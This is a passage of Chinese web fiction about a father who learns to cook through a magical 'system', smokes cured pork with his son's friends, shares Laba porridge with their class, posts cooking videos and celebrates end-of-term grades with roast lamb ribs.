熏腊肉要在露天环境，楚易文拿出准备好的苹果木在院子里找到个最合适的地方生起火堆，用架子将腊肉放到上面熏。 几个孩子说是帮忙，实际上一个个看到火堆时首先想到的却是可以烤红薯。楚瑾钰回忆起之前在老家用柴火灶烤出来的完美红薯，直接跑到厨房里拿红薯。 熏腊肉主要就是靠烟熏，楚易文见他们不嫌院子里烟呛人，干脆直接把地方交给他们，自己进屋去。 “你们玩归玩，记得人不能离开，否则火要是烧起来可不得了。”走之前楚易文不忘交代。 “楚爸你放心，我们会看好火的。” 可能是胡一齐天天“楚爸”“楚爸”喊得比较亲热，以至于叶其林不知不觉也开始这么称呼起来。 听到保证，楚易文放心地回屋去，开始给他们准备午饭。 腊肉要熏很长时间，午饭做好，他让几个孩子在屋里吃，自己端着碗坐在院中。 “吃着呢？” 楚易文饭快吃完时，有位老人走到半开的院门前打招呼。 见是以前和他妈关系不错的邻居，楚易文直接起身：“赵姨。” “没事你吃饭吧，我就是看到你家院子在冒烟，不放心过来瞧瞧。”赵老太太说完望着院子里的腊肉，声音里带着夸赞，“没想到你还会熏腊肉，真是厉害。” 楚易文跟她闲聊了几句，等目送人离开时，心里忍不住叹气。显然，他是想起自己母亲了，有些遗憾当初她在家腌腊肉时自己没有参与，现在自己学着她曾经的样子在年底腌腊肉，她却已经看不到。 第35章 腊味饭 熏好的腊肉颜色已经变成金棕色, 看起来还挺漂亮，楚易文伸手捏了下，表面已经挺干, 就是不知道内里怎么样，于是将几串腊肉重新挂到通风处继续晾晒。 腊肉还要再晒几天才能吃，不过胡一齐他们来都来了，楚易文觉得别浪费时间，下午两点多就提醒他们做作业。 以前他早出晚归天天忙着工作时，楚瑾钰心里对他很有意见，觉得他不关心自己, 现在他天天在家，楚瑾钰又开始感觉他偶尔忙一点其实也行。 “爸，要不你还是去公司上班吧。” 楚易文望着他, 脸上带着似笑非笑的表情：“现在又嫌我管你管得烦了？” “不是，主要是觉得不能天天让你围着我转。”楚瑾钰绞尽脑汁找理由。 其实也不算找理由，那天码头菜市场之行过后, 晚上他躺在床上反思了一下，觉得他享受他爸提供的优渥经济条件, 又要求他爸的陪伴和关心，确实有些不讲道理。 “楚爸，我真觉得你可以做自媒体，你看, 上次我拍你做文思豆腐的视频，发出去又好多点赞和评论。”胡一齐听到父子二人的对话想到什么，掏出自己手机说。 其实他也有点小私心，担心楚易文要是回公司会忙得没时间做饭，觉得做自媒体就正好, 边做美食边拍视频，账号做起来还能赚钱。 楚易文其实在家并不是闲着没事干，先不说他隔三差五就会出去钓鱼，光是去系统厨房学菜，以及在小饭馆赚积分就让他每天过得很充实。 不过见儿子好像觉得自己天天闲着没事干，楚易文最终还是接受胡一齐的建议，说下次做饭时会顺便记录一下。 周六、周末两天，楚瑾钰四人除了周六上午帮忙熏腊肉，接下来时间不是做作业就是在复习。倒不是楚易文丧心病狂到不让他们玩，而是临近期末，各科老师布置的作业都不少。 中途叶其林他们倒是想溜回自己家里玩去，偏偏嘴巴又不争气，总惦记着楚易文做的美食。 不过假期的努力还是有回报，周一去学校时，班主任点名表扬他们几个，说他们最近学习态度好，作业都按时完成。 收到表扬的楚瑾钰并没感觉多高兴，而是觉得心累，他转头望着胡一齐说：“这还只是第二十五名，万一我爸下学期要求前五名，那还活不活啊……” “不会的，你什么德行咱爸又不是不知道，怎么可能提出根本达不到的要求。”胡一齐这个吃货明明自己学得也很痛苦，却还是一心向着大厨，看得出来是真很爱吃。 楚瑾钰：“你皮痒是不是？” 两个人拌嘴归拌嘴，但想到离期末考试只剩两个星期不到，心里还是产生紧迫感，多少有点担心万一真考不上前二十五名该怎么办。 接下来，楚瑾钰和胡一齐下课依旧打打闹闹，但上课时态度明显更认真些。甚至由于胡一齐胆子够大，他上课遇到没听懂的压根不怂，直接举手问老师。 这周四是腊八节，都说过了腊八就是年，到腊八节说明这学期是真要进入尾声，即将迎来寒假与新年。 腊八节前一天晚上，楚易文直接被拉入系统厨房进行腊八粥的学习。腊八粥做法并不难，主要就是食材的处理和火候的把握。 他学习完腊八粥，系统叮的一声发布任务，要求他煮一锅腊八粥获得十位食客的认可，奖励积分一百。 楚易文觉得系统有时候真的挺莫名其妙，但一百积分不要白不要，他直接起身去厨房提前将煮腊八粥需要的食材泡上，次日早上起床就先把粥给煮上。 冬日的清晨，带着豆香米香的腊八粥闻起来特别诱人，光是闻着就让人感到很温暖。 “爸，早上吃粥吗？” 楚瑾钰从房间出来就闻见带着香甜气息的粥香，肚子瞬间咕噜噜叫起来。 “对。” 早餐除了香甜浓稠的腊八粥，餐桌上还有蒸饺，楚瑾钰坐下吃早餐的同时看到他爸拎了两个保温桶放到桌上，其中有个是家里最大号的保温桶。 “爸，那桶里面不会都是粥吧？太多了，他们喝不完的。” “今天是腊八节，我特意多煮了些腊八粥，你可以和班里的同学们一起分享。” 楚瑾钰用勺子搅拌着碗里的粥，送入嘴里时那浓稠香糯的滋味，喝得他根本停不下来。 【叮~任务完成度1/10】 楚易文没想到自家儿子也算，觉得那这任务还是很轻松的，加上胡一齐他们就有四个。 楚瑾钰今天起得有点晚，等他吃完早餐到学校时早读已经开始有几分钟。 换做平常其实迟到几分钟根本没事，可偏偏现在是冬天，后门被关上，加上是期末，班主任竟然来得那么早，于是他直接被堵在教室门口。 班主任：“你怎么回事，前几天还夸你，今天就又开始迟到……” 楚瑾钰脑子转得特别快，直接举起自己手里那个大保温桶说：“我爸说今天是腊八节，非要煮腊八粥让我带过来和同学们分享。” 班主任见他表情不像是骗人，加上那个保温桶看着里面粥就不少，确实不是几个人吃的分量，觉得他爸倒是有心了。 “回位置去吧。” “老师，粥要趁热吃，不能浪费楚瑾钰他爸的心意！” 班主任刚发话让楚瑾钰回作为，胡一齐这个不想早读的扯着嗓子开始起哄。 他话落，班里其他同学想到元旦时美味的冷吃牛肉、蜜汁香辣小鱼干和虾干，纷纷跟着喊：“老师，我肚子饿了，想吃腊八粥。” “老师今天可是腊八节……” 同学们你一句我一句，显然心思早就从课本上飞走，班主任见此，拍着手示意他们安静下来后，带着几分无奈道：“行，那楚瑾钰你上来把粥分了。” 班里有饮水机，饮水机那边一次性杯子都是现成的，楚瑾钰拉着胡一齐一起上台，打开保温桶用杯子分粥。 保温桶里粥还热乎着，盖子打开时，谷物混着豆类特有的香气飘散开来，还夹着股淡淡香甜气息。 “好香啊……” 人多吃东西本来就香，更别说是在早读期间正大光明吃东西，同学们在拿到腊八粥时脸上都带着笑容，随即更是自发感谢。 “谢谢楚瑾钰，你爸煮的腊八粥真好喝。” “好好喝啊，原来粥还能这么香，这么好喝！” 真材实料的腊八粥不光煮出来特别浓稠，口感更是丰富，煮得起沙的红豆入口即化，坚果的香脆增加了咀嚼感，吃起来软、糯、沙、绵、脆、粉，简直越吃越香。 如此美味的腊八粥，就是平常不是很喜欢喝粥的同学都被惊艳到，更别说喜欢喝粥的。 在全班都人手一份后，班主任同样分到杯腊八粥，那香稠软糯不失香甜的滋味，让班主任再次感叹楚瑾钰他爸手艺好。 他们班热热闹闹分享着腊八粥时，隔壁班听见动静瞬间都好奇起来，好奇他们班在干嘛。 等到早读结束，得知他们班早读时间在分享腊八粥，隔壁班学生简直羡慕死。 与此同时，家里楚易文收到任务完成的提醒，一百积分直接到手。 就在他为任务轻松完成感到高兴时，系统声再次响起【叮~任务完成，腊肉品质一般，奖励腊味饭食谱x1】 “哪里一般了？这不是挺好的！” 楚易文走到自己腌制的腊肉前，望着肉质紧实，颜色呈现金棕色的腊肉，有点不高兴系统对腊肉的评价。 要知道，这些腊肉可是他带着几个孩子辛辛苦苦费了不少时间才做出来，第一次做，没有翻车他觉得已经是种成功。 楚易文嫌弃系统不会说话，不过在获取腊味饭菜谱后还是第一时间选择学习，想着正好孩子们早就惦记着亲手做的腊肉，学完中午就做给他们吃。 系统厨房。 可能由于腊味饭做法并不难，老爷子根本不想说废话，看到他进来，直接亲自做一遍演示给他看。 腊味饭用口感干爽的米做出来会比较好吃，老爷子选用丝苗米，将清洗干净浸泡在水中备用后，转身将腊肠、腊肉清洗干净切片。 腊味饭主要就是腊味加饭，不过想要做好吃，调味和火候很重要。楚易文目不转睛看着老爷子的每个步骤，在焖腊味饭的砂锅被掀开时，他下意识吞了下口水。 只见砂锅内，粒粒分明的米饭被裹上层琥珀色油光，看起来晶莹剔透。枣红色腊肠微微卷起，和深琥珀色腊肉一起躺在米饭上，碧绿的青菜点缀在旁边，卖相特别诱人。 每次看到老爷子做的吃食时，楚易文总是忍不住在心里感叹，自己还有的学，今天也不例外。 他端起那份腊味饭仔细品尝，粒粒分明的米饭很是清爽，吸收来自腊味的油脂，让米饭整体吃起来油润鲜香。腊肠甜中带咸，咀嚼间油脂香在舌尖化开，带着股淡淡酒味。腊肉咸鲜浓郁，配上米饭一起吃，越嚼越香。 楚易文将整份腊味饭吃完，对这道美食的了解更加深入，接下来自己动手时每个步骤都特别有条理。 “不错。” 没人会讨厌态度认真的学生，老爷子刚开始教他时可能是发现他完全是厨艺小白，嫌弃之情简直溢于言表，如今被他日复一日的学习态度给打动，毒舌次数都变少很多。 这不，今天楚易文第三次做出腊味饭时，甚至得到老爷子一句“不错”的评价。 楚易文听到这个评价，脸上不自觉露出笑容。 等从系统厨房离开，他先把汤炖上，随即用积分在系统小饭馆里兑换食材。 家里有腊肉，他就只换了些丝苗米和腊肠。说实话，把腊肠跟腊肉放到一起时，楚易文心里忽然有点明白，系统为什么说腊肉品质一般…… 不过就算如此，亲手做的腊肉肯定不能浪费，楚易文还是将其洗刷干净后切片备用。 米泡好后，他将砂锅底部先刷上层油，随即才将米倒进锅里，加入一点点猪油一起煮。 煮到米饭水分快整干时，楚易文将切好的腊肉、腊肠以及提鲜增香的姜丝和香菇铺到米饭上。腊味放的时间很重要，太早的话会煮老，太晚放油脂无法渗入米饭中，吃起来就不够香。 趁着蒸饭的时间，楚易文将腊味饭最重要的料汁调出来，又焯了些小青菜出来。 早上时楚瑾钰说了，中午想在学校吃饭，因此饭菜准备好楚易文就直接开车出门。 “楚爸！” “楚爸，今天吃什么？” 今天上午最后一节课是体育课，楚瑾钰四人干脆一起来校门口拿午饭，看到楚易文过来，胡一齐他们三热情地喊着，倒显得楚瑾钰这个亲儿子像是外人一样。 “腊肉能吃了，所以中午就做了个腊味饭。”楚易文边说边将保温桶递过去。 胡一齐：“太好了！我早就想尝尝我们自己做的腊肉是什么味道！” “腊肉饭？听着就好好吃。” “谢谢楚爸，楚爸辛苦了。” 说实话，望着面前一张张笑脸，楚易文还真不觉得辛苦，挥挥手示意他们赶紧去吃饭。 “楚爸拜拜。” “路上慢点。” 被他们你一句我一句抢着，楚瑾钰差点没跟他爸说上话，只能在最后说了句：“爸拜拜。” “快走快走。”胡一齐迫不及待想尝尝腊肉饭的味道，拎着保温桶跑在最前面。 叶其林：“你手里那桶好像是汤，别给洒了。” 四人一路小跑来到食堂，食堂内各个窗口前都排起长长的队伍，好在他们不用排队，找个位置就能直接开吃。 由于是用保温桶打包，楚易文便没将青菜铺在饭上，省得青菜汤将米饭打湿影响口感。他单独用一层装着青菜，腊味饭则是直接装满整个保温桶，刚打开一股腊味特有的肉香就扑鼻而来。 腊肠特有的甜酒香，腊肉的烟熏香，米饭被油脂浸润的米香以及调料汁的酱香，组合成一股特别浓郁的复合香气，光是闻着就令人食欲大开。 “哇~不愧是我们做的腊肉，看起来就特别好吃的样子！”胡一齐望着腊味饭口水差点没流出来。 叶其林：“里面还有腊肠，看着就很美味。” 说话的功夫他们手也没闲着，已经开始拿勺子打饭。 “你至于吗？”楚瑾钰见胡一齐转挑腊肉往碗里放，觉得他也不怕腻着。 胡一齐：“这可是我亲手做的腊肉，当然要多吃点。” 腊味饭香味太浓郁，香得几个人都有点受不了，基本上都是碗里还没装满就直接开吃。 砂锅焖出来的饭特别香，腊味的油脂完全渗入米饭中，吃起来油润却不腻，米饭配上调味汁的酱香就已经很香，再来口腊肠或者腊肉，更是好吃到要上天。 “腊肉好好吃，有股烟熏香味，吃起来咸咸鲜鲜的。”胡一齐咀嚼着腊肉，好吃到眼睛都眯起来。 其实腊味饭中明显腊肠更好吃，腊肉味道要稍逊一筹，但可能是腊肉他们亲自参与制作，带着劳动成果的加成，让他们都感觉腊肉更香。 “里面还有锅巴，好香啊！” 砂锅底下焖出来的锅巴楚易文没浪费，想着反正他们年轻人牙口好，全部都搅拌进饭里。此时吃到锅巴的焦香，胡一齐有种眼前一亮的感觉。 微黄的锅巴染上调料汁的酱香，又吸收腊味的脂香，咀嚼间焦脆鲜香，单吃好吃，配上米饭腊味一起，口感更加丰富。 商时贸连吃几口米饭，伸出筷子夹根青菜送到嘴里，清爽脆嫩的青菜跟腊味饭简直是绝配，清爽的口感完美中和腊味饭的油润。 他们这边吃着香，周围同学们简直差点没馋死。 “受不了了，我明天也要让我妈给我送饭。” “为什么别人的家长做饭就那么好吃，我爸妈一个压根不会做饭，一个做的饭比食堂还难吃。” “我不信还有人做饭会比食堂难吃。” “骗你干嘛，我刚到咱们学校时简直被食堂的饭菜给惊艳到，一个学期吃胖了十斤，现在也就是吃久了有点腻，但不得不说，食堂再怎么样还是比我家饭好吃。” 不认识楚瑾钰他们的学生只是小声讨论，跟他们同班的同学则是好奇地凑过去看今天楚瑾钰他爸又做什么好吃的。 “炒饭吗？看起来真好吃。” 楚瑾钰：“不是炒饭，是腊味饭，腊肉是我爸自己做的。” “你爸真厉害，竟然连腊肉都会做！” 听到夸奖声，楚瑾钰直接道：“你要不要尝尝？” “可以吗？谢谢。” 同班同学蹭了两口腊味饭，那咸鲜油润，越嚼越香的滋味，好吃到他餐盘里的午饭瞬间就变得寡淡无味。 “楚瑾钰，可以给我也尝点吗？” 楚瑾钰朝保温桶里看了眼，见还剩挺多，直接点头答应。 班里同学蹭到腊味饭后没直接吃，而是当菜拌进白米饭里，吃着吃着就忍不住吐槽：“真是服了，食堂的菜不好吃就算了，怎么米饭也不好吃。” 其实没有对比时还好，主要是他拿腊味饭混着白饭一起吃，腊味饭里米饭那浓郁的米香衬托的食堂白饭像死米一样。 胡一齐余光注意到同班同学拿腊味饭当菜下饭吃，忽然感觉自己很幸福，能吃腊味饭吃到饱。 午餐结束，四人都吃得有点撑，不过回味着腊味饭的余香，表情却是说不出的满足。 “太好吃了，明天能跟咱爸说还吃腊味饭吗？”胡一齐望着楚瑾钰道。 楚瑾钰也觉得腊味饭又好吃，吃起来还方便，点头答应下来：“行，我晚上回去跟我爸说。” 这边楚瑾钰他们吃完饭收拾东西回教室时，楚易文回到家中把饭吃完就去书房开始剪视频。 之前他做菜时一直忘记拍视频，今天做腊味饭时想起来，就顺便将过程记录下来。他剪视频其实并不专业，主要是不准备露脸，将拍到正脸的地方剪走。 三下五除二把视频剪完，他甚至连音乐都没配，直接发到自己短视频账号上。视频发出去后他就没再关注，而是进入系统小饭馆开始练习做菜顺便赚积分。 楚易文的视频账号很新，视频发出去时本来应该不会有太多人看见，不过可能是他运气不错，视频竟然出现在同城首页。 这年头最不缺的就是吃货，发现文案标题是腊味饭，本来准备划走的吃货们瞬间停下手指观看起来。 受老爷子影响，楚易文做饭的过程带着股说不出的流畅，每个步骤都特别有条理，让人只要看到开头，不知不觉就会继续看下去。 砂锅刷油，下米开煮，切好的腊味铺到米饭上，调料汁，烫青菜，米饭淋上料汁……当整份腊味饭做好时，那晶莹剔透的米饭，那色泽诱人的腊肠、腊肉，还有翠绿的青菜，简直令人垂涎欲滴。 【这视频简直有毒，一没滤镜，二没配乐，偏偏就是看得我差点没馋死。】 【好久没看过这么舒服的视频，没有音乐的嘈杂，也没有什么废话。】 【笑死，作者是在试图教会我吗？】 【看得我馋死了，作者你家在哪？我去帮你品鉴一下你做的腊味饭正不正宗。】 【决定了，晚上就吃腊味饭，就是家里没有砂锅，可以用电饭煲吗？】 【确实有毒，这么无聊的视频我竟然看了两遍……】 【哪里无聊了，我觉得这才是好的美食教程，不像有些视频，音乐声放得那么大，而且镜头到处乱晃，有些步骤根本看不清。】 楚易文晚上并没有继续拍视频，因此还不知道自己发出去的第一个视频底下已经有不少评论。 由于几个孩子爱吃，他第二天中午又做了腊味饭，同时还搭配上鲜美的菌菇汤。 腊味饭是真香，连着吃两天胡一齐都不觉得腻，反而光是想想如果下个学期吃不到这些美食就觉得难受。 于是在美食的诱惑下，他再次奋起，拉着楚瑾钰一起卷学习，争取期末考进前二十五名。 第36章 烤羊排 期末考试前楚瑾钰还有些紧张, 考试结果出来时，他直接仰天大笑三声：“哈哈哈！” 人与人的悲欢并不相通，胡一齐听见他的笑声只觉得吵闹。 “笑个屁。” “你个二十七, 怎么跟我说话的？我可是二十五！”楚瑾钰语气透着嘚瑟。 是的，他期末考试成绩正正好排在班级第二十五名，而胡一齐则是二十七名。 胡一齐：“我看你像个二百五。” “行了行了，反正楚爸只要求他考前二十五名，又没说你一定也要。”叶其林好心安慰。 今天来学校拿完成绩单就正式放假了，中午十一点多，大家都纷纷背着书包从教室离开, 开始迎接寒假的到来。 “第二十五名到手，下个学期不用吃食堂，胡一齐你还不快谢谢我。”楚瑾钰心情很好, 拿着成绩单非要逗胡一齐。 他从隔壁班门口路过时，之前和他打架的男生听见这话，忍不住撇着嘴道：“切, 就他还能考二十五名？一看就是抄的。” “人家都不跟我们一个班，刘钦于你干嘛总跟他过不去？”有同学很费解。 刘钦于哼了一声：“我就是看他不爽, 装货！”他说完把书包往背上一甩，踹开椅子从教室后门离开。 等他走后，班里有人小声吐槽他才像个装货，还有人则是忍不住八卦起来：“你们知道他为什么总往隔壁班跑吗？” “为什么？” “他喜欢隔壁班余思语。” “真的假的？他喜欢余思语总去找楚瑾钰麻烦干嘛？每次都被人家教训, 不知道的还以为他喜欢楚瑾钰。” “你可别乱说，小心楚瑾钰知道了过来揍你，他跟他那几个朋友可不是好惹的，听说以前在初中时，妥妥的校霸。” “等会, 说了半天我还是没懂，刘钦于喜欢余思语为什么要找楚瑾钰麻烦？难道是他觉得自己挨打的姿势比较帅？所以特意去找打？” “噗呲……你说话别那么搞笑，谁会觉得自己挨打比较帅，想也知道，是因为他喜欢余思语，但余思语好像暗恋楚瑾钰……” 隔壁班学生在八卦时，楚瑾钰已经领着几个好朋友快要到小区门口。 “先说好，你们不许跟楚爸说我的期末成绩。” 胡一齐说话的同时看向楚瑾钰，楚瑾钰却是懒得理他，快走两步刷脸将小区大门打开，推着门示意他们赶紧进去。 刚进小区，一阵风迎面吹来，带来冷意的同时，带夹杂着股诱人的肉香。 胡一齐闻见这股香味瞬间把期末成绩抛之脑后，用力吸了几下鼻子，同时加快脚步：“好香！” “应该烤羊排。”楚瑾钰说完忽然发现自家院子大门外站着两道身影，他走近仔细打量两眼，“胖崽，你蹲在我家门口干嘛？” 他话落，门口那个胖乎乎的小男孩和他手里胖乎乎的拉布拉多一起抬头。 胖崽并不是楚瑾钰给他取的外号，而是他小名，据说是胖崽生下来时特别瘦弱，家里就给取了这么个小名。 “哥哥给你。” 胖崽以前跟奶奶来楚家玩过，对楚瑾钰并不陌生，听见他声音直接把手里牵引绳塞给他。 “干嘛？你家狗不想养了要送给我？”楚瑾钰觉得应该不至于，毕竟他印象中，这条狗胖崽家养了好几年。 “我家狗给你玩，你可以给我吃肉吗？” 胖崽说完口水差没流出来，显然是被从院子里飘出来的香味给馋的。 胡一齐看到他差点流口水，那条狗嘴巴更是已经滴滴答答流着口水，直接笑出声来：“这就是你之前说的那个被馋哭的小孩吗？太逗了。” 楚瑾钰对小屁孩无感，不过看在他奶奶和自己奶奶关系还不错的份上，最终还是领着他一起进门。 推开院子大门时香味就更加浓郁，羊肉的焦香混合香料的复合香味，简直令人垂涎欲滴。 等进屋子时，拉布拉多跟疯了一样摇着尾巴就往厨房冲，楚瑾钰压根拉不住它。 “哪来的狗？”楚易文听到动静时就看只胖狗贴在自己脚边疯狂摇尾巴，甚至从狗脸上看出几分谄媚的表情。 拉布拉多见他看向自己，歪着脑袋去蹭他大腿，一副讨好的模样。 胖崽看到自家狗狗进入厨房，哒哒哒跟着跑过来大声喊：“叔叔好！” “是你啊小胖。”楚易文边将手里最后那道蒜苗炒腊肉出锅边笑着说。 “他叫胖崽。”楚瑾钰听见他爸记错名字，纠正过后才说，“我回来时就看到他俩蹲在院子门口，他把狗绳塞给我，说要拿狗跟我换肉吃。” 楚易文闻言轻笑一声，想着腊肉太肥，便将盛好的蒜苗炒腊肉放到旁边，转身拿刀切了点刚烤好的羊排装到一次性碗中。 “来胖崽，拿着肉回家吃去。” “谢谢叔叔！”胖崽望着香喷喷的烤羊排，嘴里瞬间就湿润起来，看得出来是个小吃货。 楚易文把肉递给他就抬头交代儿子：“你送他回家。” 他们小区安全系数还是很高的，不然胖崽家里人也不会敢让他自己牵着狗出来玩。但安全并不代表没有万一，既然儿子把人领进家里，那么就得送回家才更合适。 楚瑾钰点头应下，不过没自己去，而是不顾胡一齐拒绝拉着他陪自己一起去。 “你真烦人，送个小孩干嘛非要拉上我。”胡一齐吐槽完视线就被小孩碗里的羊排给吸引，想要哄一个来吃。 楚瑾钰：“你别逗他，待会逗哭了你哄。” 事实上胖崽这会压根顾不上哭，正啃羊排啃得满嘴都是油。 “这小孩还挺好，竟然不护食。”胡一齐见他不光自己吃，还分了一块羊排给狗，狗把羊排叼在嘴里尾巴摇个不停，感觉这画面还挺温馨。 胖崽家并不远，很快就到他家门口，他家里人得知自家孩子带着狗跑去蹭吃，特别不好意思，硬是塞了好多水果给楚瑾钰。 楚家。 叶其林和商时贸放下书包洗完手后没闲着，帮忙盛饭端菜。至于楚易文，他边用手机在旁边记录，边用刀将整块羊排切开。 “烤好的羊排放置一会，等高温下紧致的肌肉纤维松弛下来，肉汁才能均匀地流到每寸肉中，这时候再切会更加鲜嫩多汁。”楚易文边切边顺口讲解着羊排烤好不立刻切的原因。 盘子底下铺着绿色的菜叶，金棕色的羊排切好放上去，那表皮微焦泛着光泽的卖相简直不要太诱人。 等楚易文拍完视频将手机收好，叶其林边过来端羊排边夸：“楚爸你真厉害，做菜好吃就算了，视频拍的也好，我看你账号已经有好多粉丝。” “还好吧，也就几百个。” 等他们把饭菜都端到饭桌上摆好时，胡一齐和楚瑾钰小跑着回来，闻着满屋浓郁的香味，赶紧洗手落座。 “哇，楚爸你烤的羊排太漂亮了！”胡一齐屁股还没挨上椅子，先盯着羊排夸起来，边夸边咽口水。 楚瑾钰视线同样被桌上菜色给吸引，不过还是没忘记自己辛辛苦苦考出来的成绩，把成绩单递过去道：“爸，给你。” 楚易文伸手接过来成绩单，得知他正好考到二十五名，并没有说什么“让你考二十五你就真只考二十五”的扫兴话，而是认真看两遍后脸上瞬间露出笑容。 “不错，考得真好，我就知道你肯定没问题。”楚易文边说边夹了几个羊排放到他碗中。 楚瑾钰握着筷子将羊排送到嘴边，咬上去时先尝到羊肉表面的焦香酥脆，咀嚼间，香料和盐产生的复合香味混着羊肉的焦香在味蕾上蔓延开来，味道简直令人惊艳。 大家都开吃时，商时贸想到自己当初考全班前三名时都只得到父母“不如你大哥，你大哥都是考第一名”的评价，心里有些不是滋味。 羊排烤得很香，外焦里嫩，靠近骨头那块的羊肉咬上去时有汁水溢出来，这种美味很快安抚他心中那点淡淡的负面情绪。 胡一齐不知道是不是吃嗨了，明明之前在小区外时还让楚瑾钰他们别说自己的成绩，现在却是自己顺嘴说出来：“楚爸，我只考了二十七名……” “二十七名也很厉害了，你跟瑾钰一样，从期中到期末都进步了二十名，值得表扬。” 胡一齐本来觉得楚瑾钰考到二十五名自己没有，还有点失落，听到他这么说，眼睛瞬间亮起来：“对啊楚瑾钰，我们两期末都进步了二十名！” 叶其林见他二十七名都能得到表扬，咽下嘴里的羊排开口：“楚爸，我考了第十六名，商时贸是第九名。” 楚易文闻言直接鼓掌，把他们全都夸了一顿，夸得楚瑾钰尾巴差点没翘起来，最一快就说出：“二十五名算什么，等下学期我考个前二十给你看看。” 他话落，楚易文立刻问他们晚上想吃什么，说要做大餐给他们庆祝。 “这已经是大餐了，楚爸你烤的羊排真的太好吃了，越吃越香。”胡一齐说完又夹起根羊排，觉得自己一个人就能吃完整盘。 楚易文烤羊排时特意选择稍微带点脂肪的小羊排，烤制过后油脂全部被烤出来，留下浓郁脂香，吃起来却是一点都不油腻。 烤羊排外焦里嫩，肥瘦相间，肉汁充盈的口感，只要吃过，没有人能拒绝这种美味。 商时贸收到夸奖脸上浮现自己都没发现的浅笑，握着筷子吃了口青菜后说：“只要是楚爸你做的我都爱吃。” “我觉得这顿饭已经是庆祝了，又有羊排、有红烧鱼、有辣子鸡丁……还有炒腊肉，都可以媲美年夜饭了。”叶其林说完伸出筷子夹起一片腊肉，油润可口中带着烟熏气，他感觉很好吃。 看到几个孩子都很爱吃烤羊排，楚易文伸出筷子夹起一块，咬开表面那成焦香的外壳，里面羊肉鲜嫩多汁，咀嚼间羊肉的脂香和香料气息完美融合，咀嚼间满满都是肉香和若有若无的奶香，那股奶香味来自羊肉脂肪部分，让整道烤羊排吃起来格外香。 烤羊排很美味，但总不好连着吃两顿，于是他提议：“要不晚上我再给你们烤点牛排吃？” “好啊！楚爸你烤的牛排肯定也是人间美味！” 午餐结束，吃饱喝足甚至有点撑着的几个孩子躺在沙发上，想到已经放寒假了就能笑出声来。 “打游戏不？”胡一齐举着手机问。 “行。” 大冷天的出去也没什么好玩，还不如窝在家里打游戏，于是四人纷纷拿出手机开黑。 胡一齐：“楚爸你要不要玩？我可以带你飞。” “不了，你们玩。” 刚放寒假，楚易文还不至于丧心病狂地催他们做寒假作业，洗好水果放在茶几上，让他们自己玩去。 将客厅留给几个孩子，楚易文起身进入书房，顺手剪起中午拍的视频。 跟第一个视频比起来，他现在剪出来的视频明显进步很多，由此可见，他当初能白手起家是有道理的，做什么事都能做好。 楚易文将视频发出去，转头去翻了下之前视频的评论区，对于夸夸夸以及喊馋的评论笑了下就滑过，对于请教的评论，他则是看情况回几句。 在他回复评论时，新视频已经被不少关注他的网友刷到。 【滋滋冒油的烤羊排，看起来好好吃啊！馋死我了，不行，忍不住了，我要去点外卖！】 【刀碰到羊排表面那酥脆的咔嚓声，把我口水都馋下来了，我也好想吃烤羊排啊……】 【刀上沾的碎渣能给我舔一口吗？或者有吃剩的羊排吗？给孩子吃点吧［伸手.jpg］】 【给我吃点，就当是喂鸡了，咕咕咕，咕咕咕。】 【笑死，人家是美食教程，你们想吃就学呗，干嘛跑到评论区随地大小要。】 【这话说的，你以为我不想做吗？每次看到视频时我都觉得不难，但等真上手时，你猜怎么着？哎嘿，我直接就展现出了黑暗料理的天赋。】 楚易文在书房上传完视频，顺手就进入系统小饭馆开始练习做菜顺便赚积分。 随着他掌握的菜谱越来越多，如今他在小饭馆几乎没再拿过负积分，多多少少都能赚点。 积分除了能换食材，还能抽奖，抽奖得到的基本都是厨具，楚易文觉得系统出品的食材和厨具都比市面上卖得要好，倒是挺愿意花积分去换。 【香河肉饼即将超时，请宿主尽快出菜。】 【顾客下单酸萝卜老鸭汤，请宿主尽快出菜。】 楚易文正在做香河肉饼，这玩意他没在系统厨房学过，完全是自己在网上找的教程。 他已经尽量按照香河肉饼“皮薄如纸、肉厚如饼”等特点来做，然而做完上桌时，却还是得到顾客差评。 发现今天尽是点自己没学过的菜，楚易文有些无奈，不过还是尽量去做，好在熬过连续几道不擅长的美食后，终于迎来他学过的菜谱。 【顾客下单啤酒鸭，请尽快出菜。】 【顾客下单桂花红烧肉，请尽快出菜。】 【顾客下单蜜汁鸡翅，请尽快出菜。】 这些菜楚易文平常没少做，做起来简直不要太熟练。随着他剁好鸭子先把啤酒鸭炖上，再将五花肉切块炒糖色，等到一道道菜品出锅时，积分伴随顾客们的好评开始增加。 结束今天的菜品练习后，楚易文见总积分已经攒到五百零三十，直接把零头的三十积分用来抽奖。 系统抽奖十积分一次，三十积分花出去，抽中了一个“谢谢惠顾”，一把水果刀，还有“香河肉饼菜谱x1”。 楚易文还是第一次抽出来菜谱，有点小惊讶。不过想到自己经常在小饭馆里碰到顾客点“香河肉饼”，见终于能把这道美食给学会，很是高兴。 想到晚上要烤牛排给几个孩子吃，他没立刻开始进入系统厨房学习，而是起身准备去厨房看看家里缺什么食材。 他出来时几个孩子还在热火朝天打游戏，声音那叫一个兴奋。 楚易文含笑看了他们一会，很快走进厨房在菜架和冰箱里查看起来。见家里该有的食材基本都有，只有牛排没剩多少，他懒得出门去买，干脆用积分换了些出来。 “晚上你们主食想吃什么？吃饭还是面，还是饺子？” “都可以。” “吃面！” 听到自家儿子说想吃面，楚易文直接拿面粉出来做手擀面。 手擀面做好放在旁边备用，他拿手机看了眼时间后，开始给牛排进行调味。调好味的牛排先用煎锅煎制一分钟，让表面形成酥脆的外壳后，楚易文将牛排转移到预热好的烤箱中。 在他用煎锅煎牛排时，已经有香味从厨房飘出去，等到牛排进入烤箱，而他又开始做番茄炒蛋盖浇面时，阵阵香味飘满整个屋子，简直能馋死人。 冬天本来就是囤积脂肪的季节，哪怕上一顿吃得很饱，到下一顿饭时还是容易饿。 胡一齐闻着扑鼻而来的香味，手机游戏瞬间都变得没那么有趣，起身从沙发转移到厨房门口：“楚爸，你在做番茄炒蛋吗？好香啊！” 楚易文说要晚上给他们做大餐，自然不可能只有牛排加番茄鸡蛋盖浇面，他还做了蜜汁鸡翅、香煎薯粉团、辣椒炒肉、白灼菜心、菌菇汤。 又一把游戏结束，楚瑾钰几人被香味吸引，无心再继续打游戏，纷纷凑到厨房里来。 楚瑾钰看到他爸手机放在旁边正在拍视频，干脆拿起来帮他拍。 “太丰盛了！” 等到晚餐上桌，叶其林见吃个面又有牛排又有鸡翅，还有辣椒炒肉和薯粉团，还没吃就感觉很幸福。 “牛排我没烤全熟，你们尝尝合不合口味。”楚易文说完接过儿子递过来的手机，随手放到旁边柜子上。 